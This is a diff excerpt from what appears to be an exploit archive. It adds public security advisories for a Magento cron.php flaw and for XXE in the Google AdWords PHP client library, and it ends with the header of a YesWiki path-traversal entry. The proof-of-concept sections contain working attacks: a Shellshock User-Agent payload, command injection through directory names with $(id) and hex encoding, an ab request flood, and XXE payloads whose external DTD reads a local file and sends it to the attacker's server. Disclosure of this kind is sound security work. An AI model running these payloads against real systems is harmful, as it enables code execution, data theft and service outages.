XII. LEGAL NOTICES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The information contained within this advisory is supplied "as-is" with
|
||||||
|
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||||
|
responsibility for any damage caused by the use or misuse of this information.
|
||||||
310
platforms/php/webapps/38651.txt
Executable file
310
platforms/php/webapps/38651.txt
Executable file
|
|
@ -0,0 +1,310 @@
|
||||||
|
# Exploit Title: eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
|
||||||
|
# Date: 06.11.2015
|
||||||
|
# Exploit Author: Dawid Golunski
|
||||||
|
# Vendor Homepage: http://magento.com
|
||||||
|
# Version: eBay Magento CE <= 1.9.2.1 / Magento EE <=1.14.2.1
|
||||||
|
# Tested on: Linux
|
||||||
|
# Magento reference ID: APPSEC-1045
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
=============================================
|
||||||
|
- Release date: 06.11.2015
|
||||||
|
- Discovered by: Dawid Golunski
|
||||||
|
- Severity: Medium
|
||||||
|
- eBay Magento ref.: APPSEC-1037
|
||||||
|
=============================================
|
||||||
|
|
||||||
|
|
||||||
|
I. VULNERABILITY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
|
||||||
|
eBay Magento EE <= 1.14.2.1
|
||||||
|
|
||||||
|
|
||||||
|
II. BACKGROUND
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
- eBay Magento eCommerce
|
||||||
|
|
||||||
|
http://magento.com/
|
||||||
|
|
||||||
|
"More than 240,000 merchants worldwide put their trust in our eCommerce
|
||||||
|
software. Magento's eCommerce platform gives you the tools you need to attract
|
||||||
|
more prospects, sell more products, and make more money. It's what we do.
|
||||||
|
|
||||||
|
We're owned by eBay, so you know we're eCommerce experts"
|
||||||
|
|
||||||
|
|
||||||
|
III. INTRODUCTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Default installation of ebay Magento eCommerce software comes with a cron.php
|
||||||
|
which allows to manage scheduled tasks. The script is not protected by default
|
||||||
|
and can be publicly accessed.
|
||||||
|
|
||||||
|
The publicly exposed cron script poses some potential risks such as exploitation
|
||||||
|
of the well known shellshock vulnerability on unpatched systems leading to code
|
||||||
|
execution.
|
||||||
|
The same script has another potential command execution vector that stems from
|
||||||
|
inproper data sanitisation passed to a shell_exec function.
|
||||||
|
|
||||||
|
Apart from the code execution vectors, the script could potentially be used to
|
||||||
|
perform a DoS attack due to lack of locking mechanism that prevents the script
|
||||||
|
from spawning multiple instances of other helper shell scripts.
|
||||||
|
|
||||||
|
|
||||||
|
IV. DESCRIPTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
A) Shellshock vector
|
||||||
|
|
||||||
|
Magento cron.php script includes a command execution function that looks as
|
||||||
|
follows:
|
||||||
|
|
||||||
|
-----[ magento/cron.php ]-----
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (stripos(PHP_OS, 'win') === false) {
|
||||||
|
$options = getopt('m::');
|
||||||
|
if (isset($options['m'])) {
|
||||||
|
if ($options['m'] == 'always') {
|
||||||
|
$cronMode = 'always';
|
||||||
|
} elseif ($options['m'] == 'default') {
|
||||||
|
$cronMode = 'default';
|
||||||
|
} else {
|
||||||
|
Mage::throwException('Unrecognized cron mode was defined');
|
||||||
|
}
|
||||||
|
|
||||||
|
} else if (!$isShellDisabled) {
|
||||||
|
$fileName = basename(__FILE__);
|
||||||
|
$baseDir = dirname(__FILE__);
|
||||||
|
shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
|
||||||
|
shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
As can be seen, the script runs shell_exec() that loads /bin/sh program which
|
||||||
|
is usually a symlink to /bin/bash.
|
||||||
|
Although the shellshock vulnerability should be patched, there have been reports
|
||||||
|
of linux distributions that insufficiently patched the issue and remained
|
||||||
|
vulnerable.
|
||||||
|
Magento's cron.php could be used as exploit the shellshock vulnerability on
|
||||||
|
unpatched systems which host Magento in CGI mode (which can be easily enabled
|
||||||
|
via .htaccess file provided with Magento).
|
||||||
|
|
||||||
|
B) Command injection
|
||||||
|
|
||||||
|
The script fails to sanitise the input data coming from $baseDir variable.
|
||||||
|
Input passed to shell execution functions should always be sanitised with
|
||||||
|
escapeshellcmd / escapeshellarg PHP functions.
|
||||||
|
|
||||||
|
Although not exploitable on its own, the lack of escaping could allow to inject
|
||||||
|
some system commands on Magento hosting platforms which have a feature to
|
||||||
|
create backups of directories with a specified name within the document root.
|
||||||
|
|
||||||
|
If the provided hosting control panel allows to specify names of such backups,
|
||||||
|
a user could potentially inject some malicious data within the directory name
|
||||||
|
which could result in a command injection when cron.php is run from the backup
|
||||||
|
directory.
|
||||||
|
The command would execute upon the shell_exec() receiving the malicious data
|
||||||
|
injected with the help of the $baseDir variable.
|
||||||
|
|
||||||
|
C) Denial of Service
|
||||||
|
|
||||||
|
As the script lacks any access control and a locking mechanism, it is possible
|
||||||
|
to remotely request cron.php multiple times in order to make it spawn
|
||||||
|
multiple instances of the cron.sh script.
|
||||||
|
As a single execution of the script results in 2 cron.sh spawned processes, plus
|
||||||
|
a separate CGI process (if website runs as CGI), an attacker could potentially
|
||||||
|
overload the Magento site with multiple requests and create a Denial of Service
|
||||||
|
condition by process exhaustion etc.
|
||||||
|
|
||||||
|
|
||||||
|
V. PROOF OF CONCEPT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
A) Shellshock vector exploit
|
||||||
|
|
||||||
|
Sending the following request to a CGI-enabled Magento site:
|
||||||
|
|
||||||
|
GET /magento/cron.php HTTP/1.1
|
||||||
|
Host: victim_magento_site
|
||||||
|
User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack
|
||||||
|
|
||||||
|
will result in a command execution on shellshock affected systems.
|
||||||
|
The resul of the above would be:
|
||||||
|
|
||||||
|
victim$ ls -l /tmp/magento_cron_hack
|
||||||
|
-rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
B) Command injection
|
||||||
|
|
||||||
|
Due to lack of sanitisation, if a malicious Magento user had access
|
||||||
|
to a backup facility, he could potenially create a backup of the magento
|
||||||
|
directory with a command within the name , e.g.:
|
||||||
|
|
||||||
|
$(id)
|
||||||
|
|
||||||
|
The user could then request the cron.php script via the following request:
|
||||||
|
|
||||||
|
GET /magento/$(id)/cron.php HTTP/1.1
|
||||||
|
Host: victim_magento_site
|
||||||
|
|
||||||
|
Because of the shell_exec() function in the quoted sourcecode of cron.php:
|
||||||
|
|
||||||
|
---
|
||||||
|
$baseDir = dirname(__FILE__);
|
||||||
|
shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
|
||||||
|
---
|
||||||
|
|
||||||
|
it would cause the cron.php script to run the following command:
|
||||||
|
|
||||||
|
/bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
|
||||||
|
|
||||||
|
The command would run id program as soon as bash command expansion syntax of
|
||||||
|
$() got evaluated.
|
||||||
|
|
||||||
|
|
||||||
|
An attacker could also run more complex commands, by hex encoding disallowed
|
||||||
|
characters within directory names (such as '/' directory separator).
|
||||||
|
|
||||||
|
For example, he could run the command:
|
||||||
|
|
||||||
|
touch /tmp/magento_exec
|
||||||
|
|
||||||
|
|
||||||
|
by encoding it as follows:
|
||||||
|
|
||||||
|
echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1}
|
||||||
|
|
||||||
|
\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63
|
||||||
|
|
||||||
|
He could then execute it via a GET request of:
|
||||||
|
|
||||||
|
GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1
|
||||||
|
|
||||||
|
which would execute:
|
||||||
|
|
||||||
|
/bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
|
||||||
|
|
||||||
|
resulting in creating the PoC file:
|
||||||
|
|
||||||
|
victim$ ls -l /tmp/magento_exec
|
||||||
|
-rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
C) Denial of Service
|
||||||
|
|
||||||
|
By sending multiple requests to cron.php, for example using apache benchmark
|
||||||
|
tool:
|
||||||
|
|
||||||
|
attacker$ ab -n 500 -c 30 http://victim_magento_site/magento/cron.php
|
||||||
|
|
||||||
|
attacker could exploit the lack of locking to spawn numerous processes,
|
||||||
|
potentially leading to resource exhaustion and a DoS condition.
|
||||||
|
|
||||||
|
The above command would result in creating multiple instances of the
|
||||||
|
cron.php/cron.sh scripts on the target host:
|
||||||
|
|
||||||
|
...
|
||||||
|
www-data 5529 0.2 1.3 287756 6872 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
|
||||||
|
www-data 5531 0.2 1.1 288000 5848 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
|
||||||
|
www-data 5533 0.2 1.2 288000 6432 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5535 0.3 1.2 288000 6484 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5537 0.3 1.5 288768 7740 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5539 0.3 1.3 287524 6956 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5541 0.3 1.4 288768 7168 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5543 0.3 1.4 288288 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5546 0.3 1.4 288512 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||||
|
www-data 5885 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5886 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5887 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5888 0.0 0.0 17880 440 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5889 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5890 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5891 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5899 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5900 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5901 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||||
|
www-data 5904 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5907 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||||
|
www-data 5909 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||||
|
www-data 5910 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||||
|
www-data 5912 0.0 0.0 17880 464 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
www-data 5913 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||||
|
...
|
||||||
|
|
||||||
|
VI. BUSINESS IMPACT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The issue has been rated as medium. Depending on the Magento hosting features
|
||||||
|
and applied patches code execution could be possible which would increase the
|
||||||
|
risks.
|
||||||
|
|
||||||
|
VII. SYSTEMS AFFECTED
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain
|
||||||
|
the vulnerable cron.php script.
|
||||||
|
The Magento EE versions also contain this problem according to the vendor's
|
||||||
|
advisory.
|
||||||
|
|
||||||
|
VIII. SOLUTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch
|
||||||
|
for it within the SUPEE-6788 patch bundle available on the official website.
|
||||||
|
The patch adds sanitisation functions around the shell_exec() code however
|
||||||
|
the cron script remains publicly accessible.
|
||||||
|
|
||||||
|
It is recommended to protect the cron script by other means.
|
||||||
|
For example, the script could require a key supplied together with a GET
|
||||||
|
request to proceed with the execution which is commonly used with other
|
||||||
|
major open source solutions.
|
||||||
|
The easiest way would also be restricting acess to the script to only
|
||||||
|
certain IPs or localhost within the web server configuration.
|
||||||
|
|
||||||
|
|
||||||
|
IX. REFERENCES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt
|
||||||
|
|
||||||
|
Oficial eBay Magento website:
|
||||||
|
http://magento.com/
|
||||||
|
|
||||||
|
Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML
|
||||||
|
Functionality Using Multibyte Payloads' (APPSEC-1037) is available at:
|
||||||
|
|
||||||
|
https://magento.com/security/patches/supee-6788
|
||||||
|
|
||||||
|
|
||||||
|
X. CREDITS
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The vulnerabilities have been discovered by Dawid Golunski
|
||||||
|
dawid (at) legalhackers (dot) com
|
||||||
|
legalhackers.com
|
||||||
|
|
||||||
|
XI. REVISION HISTORY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Nov 6th, 2015: Advisory released
|
||||||
|
|
||||||
|
XII. LEGAL NOTICES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The information contained within this advisory is supplied "as-is" with
|
||||||
|
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||||
|
responsibility for any damage caused by the use or misuse of this information.
|
||||||
318
platforms/php/webapps/38652.txt
Executable file
318
platforms/php/webapps/38652.txt
Executable file
|
|
@ -0,0 +1,318 @@
|
||||||
|
# Date: 06.11.2015
|
||||||
|
# Exploit Author: Dawid Golunski
|
||||||
|
# Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries
|
||||||
|
# Software Link: https://github.com/googleads/googleads-php-lib
|
||||||
|
# Version: Google AdWords API client libraries - XML eXternal Entity Injection (XXE)
|
||||||
|
|
||||||
|
|
||||||
|
=============================================
|
||||||
|
- Release date: 06.11.2015
|
||||||
|
- Discovered by: Dawid Golunski
|
||||||
|
- Severity: Medium/High
|
||||||
|
=============================================
|
||||||
|
|
||||||
|
|
||||||
|
I. VULNERABILITY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Google AdWords API client libraries - XML eXternal Entity Injection (XXE)
|
||||||
|
|
||||||
|
Confirmed in googleads-php-lib <= 6.2.0 for PHP, AdWords libraries:
|
||||||
|
googleads-java-lib for Java, and googleads-dotnet-lib for .NET are also likely
|
||||||
|
to be affected.
|
||||||
|
|
||||||
|
|
||||||
|
II. BACKGROUND
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
- AdWords API
|
||||||
|
|
||||||
|
"The AdWords API is a collection of web services that you can use to build
|
||||||
|
applications that manage AdWords accounts and their associated campaign data.
|
||||||
|
While the AdWords API is based on SOAP 1.1, high-level client libraries are
|
||||||
|
provided to help you develop applications more quickly."
|
||||||
|
|
||||||
|
AdWords API client libraries are available for different platforms
|
||||||
|
such as PHP, .NET, Java etc.
|
||||||
|
|
||||||
|
These can be found at:
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||||
|
|
||||||
|
III. INTRODUCTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
As Google AdWords is based on SOAP protocol that uses XML to transfer the data,
|
||||||
|
client API libraries should have necessary preventions against XML eXternal
|
||||||
|
Entity injection attacks. However, an independent research found the necessary
|
||||||
|
preventions to be lacking in several Google AdWords API client libraries,
|
||||||
|
which could allow XXE attacks on applications/servers that make use of them.
|
||||||
|
|
||||||
|
XXE (XML eXternal Entity) attack is an attack on an application that parses XML
|
||||||
|
input from untrusted sources using incorrectly configured XML parser.
|
||||||
|
The application may be forced to open arbitrary files and/or network resources.
|
||||||
|
Exploiting XXE issues on PHP applications may also lead to denial of service or
|
||||||
|
in some cases (when an 'expect' PHP module is installed) lead to command
|
||||||
|
execution.
|
||||||
|
|
||||||
|
IV. DESCRIPTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
This advisory will focus on PHP version of the AdWords API client library.
|
||||||
|
Other versions of the client library such as .NET and Java seem to be
|
||||||
|
vulnerable in a similar way.
|
||||||
|
|
||||||
|
googleads-php-lib contains the following function which queries WSDL from the
|
||||||
|
remote google adwords server:
|
||||||
|
|
||||||
|
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
|
||||||
|
|
||||||
|
protected function loadWsdl($wsdlUri, $proxy = null) {
|
||||||
|
// Set proxy.
|
||||||
|
if ($proxy) {
|
||||||
|
$opts = array(
|
||||||
|
'http' => array(
|
||||||
|
'proxy' => $proxy,
|
||||||
|
'request_fulluri' => true
|
||||||
|
)
|
||||||
|
);
|
||||||
|
$context = stream_context_get_default($opts);
|
||||||
|
libxml_set_streams_context($context);
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->dom = new DOMDocument();
|
||||||
|
$this->dom->load($wsdlUri,
|
||||||
|
LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE);
|
||||||
|
|
||||||
|
$this->serviceNamespace =
|
||||||
|
$this->dom->documentElement->getAttribute('targetNamespace');
|
||||||
|
}
|
||||||
|
|
||||||
|
-------------------------------------------------------
|
||||||
|
|
||||||
|
The function connects to the API endpoint to get the WSDL document describing
|
||||||
|
the functionality of the AdWords web service in XML.
|
||||||
|
|
||||||
|
For security reasons Google AdWords API can only be accessed via HTTPS.
|
||||||
|
However, the above code does not set appropriate SSL settings on the
|
||||||
|
https:// stream context. It fails to assign Certificate Authority (CA),
|
||||||
|
and turn the verify_peer option to ON.
|
||||||
|
It uses the stream_context_get_default() to get the default context,
|
||||||
|
which on all PHP versions below PHP 5.6.x (see references below) does not
|
||||||
|
validate the CA by default.
|
||||||
|
|
||||||
|
Because of this, applications using the AdWords API library may be tricked into
|
||||||
|
retrieving data from untrusted sources pretending to be adwords.google.com.
|
||||||
|
|
||||||
|
The above code does not provide any XXE injection attack prevention.
|
||||||
|
It does not disable external entity processing. To make it worse,
|
||||||
|
it specifically enables it via the LIBXML parameters provided to the
|
||||||
|
dom->load() function so an XXE injection attack would work even on
|
||||||
|
systems that have the newest and fully patched version of libxml library
|
||||||
|
which does not process the entities by default.
|
||||||
|
|
||||||
|
Another vulnerable part of the application is located in the code:
|
||||||
|
|
||||||
|
---[ src/Google/Api/Ads/Common/Util/XmlUtils.php ]---
|
||||||
|
|
||||||
|
public static function GetDomFromXml($xml) {
|
||||||
|
set_error_handler(array('XmlUtils', 'HandleXmlError'));
|
||||||
|
$dom = new DOMDocument();
|
||||||
|
$dom->loadXML($xml,
|
||||||
|
LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT | LIBXML_XINCLUDE);
|
||||||
|
restore_error_handler();
|
||||||
|
return $dom;
|
||||||
|
}
|
||||||
|
|
||||||
|
-----------------------------------------------------
|
||||||
|
|
||||||
|
which is used by the AdsSoapClient class to process SOAP requests. It
|
||||||
|
also activates the ENTITY processing even if libxml parser is set to
|
||||||
|
ingore them by default. AdsSoapClient can be configured to verify SSL peer
|
||||||
|
in SSL communication via the settings INI file but this option is set to
|
||||||
|
off by default.
|
||||||
|
|
||||||
|
These SSL settings, and the XML ENTITY processing combined make applications
|
||||||
|
using the AdWords API vulnerable to XXE injection attacks.
|
||||||
|
|
||||||
|
For the attack to be successful, an attacker needs to
|
||||||
|
perform a MitM attack to impersonate adwords.google.com server (eg. via DNS
|
||||||
|
poisoning/spoofing/proxy attacks, ARP spoofing, etc.) to inject malicious
|
||||||
|
XML input.
|
||||||
|
|
||||||
|
|
||||||
|
V. PROOF OF CONCEPT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Below is a test application that makes use of the PHP Google AdWords API
|
||||||
|
library.
|
||||||
|
|
||||||
|
The application simply connects to the AdWords API endpoint to retrieve the
|
||||||
|
WSDL document.
|
||||||
|
|
||||||
|
---[ testAPI.php ]---
|
||||||
|
|
||||||
|
<?php
|
||||||
|
// Test application reading WSDL from Google AdWords
|
||||||
|
|
||||||
|
set_include_path('./build_lib/WSDLInterpreter/');
|
||||||
|
require_once 'WSDLInterpreter.php';
|
||||||
|
|
||||||
|
$wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/'
|
||||||
|
.'CampaignService?wsdl';
|
||||||
|
|
||||||
|
$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null,
|
||||||
|
null, "CampaignService", "v201502", "Ads_Google",
|
||||||
|
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
---------------------
|
||||||
|
|
||||||
|
|
||||||
|
To exploit this application, an attacker needs to perform a MitM attack to
|
||||||
|
impersonate adwords.google.com server, as mentioned in the introduction.
|
||||||
|
For simplicity, we can add the following entry to /etc/hosts on the victim's
|
||||||
|
server:
|
||||||
|
|
||||||
|
192.168.57.12 adwords.google.com
|
||||||
|
|
||||||
|
to simulate a successful MitM attack where attacker successfully manages
|
||||||
|
to ,for example, poison the DNS cache to point the adwords subdomain at his
|
||||||
|
malicious web server (192.168.57.12).
|
||||||
|
|
||||||
|
The attacker then needs to create a malicious XML file on his server to
|
||||||
|
return it to the victim. Example payload could look as follows:
|
||||||
|
|
||||||
|
$ curl --insecure 'https://192.168.57.12/api/adwords/cm/v201502/CampaignService?wsdl'
|
||||||
|
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE root
|
||||||
|
[
|
||||||
|
<!ENTITY xxetest SYSTEM "http://192.168.57.12/adwords_xxe_hack.dtd">
|
||||||
|
]>
|
||||||
|
<test><testing>&xxetest;</testing></test>
|
||||||
|
|
||||||
|
|
||||||
|
The XML payload returned by the attacker will cause the vulnerable
|
||||||
|
AdWords API library to resolve the 'xxetest' entity and connect
|
||||||
|
back to the attacker's server to retrieve adwords_xxe_hack.dtd.
|
||||||
|
|
||||||
|
|
||||||
|
This can be verified on the victim's server by executing the demonstrated
|
||||||
|
testAPI.php script:
|
||||||
|
|
||||||
|
$ curl http://victims_server/googleads-php-lib-master/testAPI.php
|
||||||
|
|
||||||
|
|
||||||
|
The script will try to retrieve the WSDL/XML document from adwords.google.com
|
||||||
|
which will provide the above malicious XML.
|
||||||
|
After the injected entity is read, the attacker will get a connection from the
|
||||||
|
victim:
|
||||||
|
|
||||||
|
attacker@mitm# nc -vv -l 8080
|
||||||
|
Connection from victims_server port 8080 [tcp/http-alt] accepted
|
||||||
|
GET /adwords_xxe_hack.dtd HTTP/1.0
|
||||||
|
Host: 192.168.57.12:8080
|
||||||
|
|
||||||
|
|
||||||
|
At this point attacker could add other entities to carry out an Out of band
|
||||||
|
XXE attack to read system files (such as /etc/passwd) located on the victim's
|
||||||
|
server, or execute commands via expect:// PHP wrapper if the 'expect' module
|
||||||
|
is enabled.
|
||||||
|
|
||||||
|
|
||||||
|
For example, this payload:
|
||||||
|
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE test [
|
||||||
|
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
|
||||||
|
<!ENTITY % dtd SYSTEM "http://192.168.57.12/send.dtd">
|
||||||
|
%dtd;
|
||||||
|
]>
|
||||||
|
<test><testing>test &send;</testing></test>
|
||||||
|
|
||||||
|
with another file located on the attacker's file server:
|
||||||
|
|
||||||
|
---[ send.dtd ]---
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.57.12:8080/retrieved/%file;'>">
|
||||||
|
%all;
|
||||||
|
|
||||||
|
------------------
|
||||||
|
|
||||||
|
would send the contents of the /etc/hosts file to the attacker.
|
||||||
|
|
||||||
|
|
||||||
|
VI. BUSINESS IMPACT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The severity of this issue is lowered to medium/high despite as the XXE
|
||||||
|
injection vulnerability in the code, the attacker must impersonate
|
||||||
|
adwords.google.com server to be able to inject malicious XML.
|
||||||
|
If there is a possibility for such an attack, the severity of the issue can
|
||||||
|
grow to high/critical due to the exploitation possibilities through XXE
|
||||||
|
injection.
|
||||||
|
|
||||||
|
VII. SYSTEMS AFFECTED
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The latest version of Google AdWords API PHP client library was confirmed to
|
||||||
|
be vulnerable. The client libraries for other platforms seem to lack necessary
|
||||||
|
XXE attack preventions too.
|
||||||
|
For example, the Java version, did not set the
|
||||||
|
'sax/features/external-general-entities' setting to off when creating an
|
||||||
|
instance of the DocumentBuilderFactory class. And the .NET version of the
|
||||||
|
AdWords API was missing explicit 'ProhibitDtd' setting on the XMLReader.
|
||||||
|
|
||||||
|
Vulnerabilities were found in googleads-php-lib in versions below 5.9.0 and
|
||||||
|
reported to Google in May 2015, they were just fixed in AdWords php library ver.
|
||||||
|
6.3.0.
|
||||||
|
|
||||||
|
VIII. SOLUTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Install the latest version of the Google AdWords API library available for your
|
||||||
|
platform, and tighten SSL settings by enabling SSL CA verification in the
|
||||||
|
library settings file.
|
||||||
|
|
||||||
|
IX. REFERENCES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||||
|
|
||||||
|
https://github.com/googleads/googleads-php-lib
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/
|
||||||
|
|
||||||
|
PHP 5.6.x openssl certificates in PHP streams:
|
||||||
|
http://php.net/manual/en/migration56.openssl.php
|
||||||
|
|
||||||
|
http://legalhackers.com
|
||||||
|
|
||||||
|
X. CREDITS
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The vulnerability has been discovered by Dawid Golunski
|
||||||
|
dawid (at) legalhackers (dot) com
|
||||||
|
|
||||||
|
http://legalhackers.com
|
||||||
|
|
||||||
|
XI. TIMELINE
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
May 18th, 2015: Advisory created and sent to Google Security Team
|
||||||
|
|
||||||
|
Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched
|
||||||
|
|
||||||
|
Nov 6th, 2015: Advisory released publicly
|
||||||
|
|
||||||
|
XII. LEGAL NOTICES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The information contained within this advisory is supplied "as-is" with
|
||||||
|
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||||
|
responsibility for any damage caused by the use or misuse of this information.
|
||||||
26
platforms/php/webapps/38665.txt
Executable file
26
platforms/php/webapps/38665.txt
Executable file
|
|
@ -0,0 +1,26 @@
|
||||||
|
# Exploit Title: YESWIKI 0.2 - Path Traversal (template param)
|
||||||
|
# Date: 2015-11-10
|
||||||
|
# Exploit Author: HaHwul
|
||||||
|
# Exploit Author Blog: http://www.codeblack.net
|
||||||
|
# Vendor Homepage: http://yeswiki.net
|
||||||
|
# Software Link: https://github.com/YesWiki/yeswiki
|
||||||
|
# Version: yeswiki 0.2
|
||||||
|
# Tested on: Debian [Wheezy] , Ubuntu
|
||||||
|
# CVE : none
|
||||||
|
# ===========================================
|
||||||
|
